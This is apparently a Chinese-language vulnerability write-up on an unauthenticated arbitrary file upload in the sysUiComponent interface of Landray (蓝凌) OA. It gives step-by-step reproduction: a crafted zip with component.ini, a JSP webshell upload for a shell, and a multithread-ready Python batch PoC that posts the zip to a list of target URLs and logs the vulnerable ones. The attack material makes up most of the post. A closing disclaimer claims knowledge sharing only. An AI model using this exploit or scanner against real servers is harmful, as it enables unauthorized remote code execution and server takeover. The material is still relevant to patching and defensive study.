蓝凌OA sysUiComponent 任意文件上传
漏洞概述
蓝凌OA sysUiComponent接口处存在任意文件上传漏洞,未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件,远程命令执行,获取服务器权限。
漏洞复现
- 访问
http://ip:port/sys/ui/sys_ui_component/sysUiComponent.do?method=upload
- 返回如下内容
- 创建1.txt以及component.ini文件,其中1.txt为要上传的内容,component.ini内的id等于文件路径,name等于要上传的文件名。
- 将两个文件进行压缩为1.zip。
- 选择压缩文件1.zip,点击上传。
- 上传成功会返回如下内容:
访问
http://ip:port/resource/ui-component/2024/1.txt
靶场Getshell
将shell文件1.jsp,与component.ini文件压缩在一块上传。
上传成功后访问
批量检测POC
下面展示一些
内联代码片
。
# -*- coding: utf-8 -*-
import requests
from urlparse import urlparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from concurrent import futures
import threading
threads=[]
class poc:
def __init__(self, url):
self.url = url
self.headers = {
'User-Agent': 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',
"Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"Accept-Encoding": "gzip, deflate",
}
def host(self):
url = urlparse(self.url)
netloc = url.netloc
scheme = url.scheme
return scheme, netloc
def vuln(self, netloc, scheme):
url = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo".format(scheme, netloc)
data = {
"file": ("test.zip", b"PK\x03\x04\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00123.txt123PK\x03\x04\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00component.iniid=2023\r\nname=123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xcc\\yW\xd2cH\x88\x03\x00\x00\x00\x03\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x00123.txtPK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x05\xb3yWs\x17\xa5\xec\x15\x00\x00\x00\x15\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00(\x00\x00\x00component.iniPK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00p\x00\x00\x00h\x00\x00\x00\x00\x00", "application/zip")
}
self.headers["Referer"] = "{}://{}/sys/ui/sys_ui_component/sysUiComponent.do?method=upload".format(scheme, netloc)
try:
result = requests.post(url=url, files=data, headers=self.headers, allow_redirects=False, verify=False, timeout=3)
if result.status_code == 200 and "directoryPath" in result.text:
print(url+u"漏洞存在")
with open(r'2.txt', 'a+') as f:
f.write(url + '\n')
f.close()
print(u"验证url为:{}://{}/resource/ui-component/2023/123.txt".format(scheme, netloc))
return True
else:
print(url+u"漏洞不存在!")
return False
except Exception as e:
print(url+u"漏洞不存在!")
return False
def main(self):
all = self.host()
scheme = all[0]
netloc = all[1]
self.vuln(netloc, scheme)
if __name__ == '__main__':
with open('1.txt', 'r') as file:
for line in file:
url = line.strip()
poc(url).main()
运行结果截图:
此人仅做知识分享,非法使用与我本人无关。
版权归原作者 KLKH 所有, 如有侵权,请联系我们删除。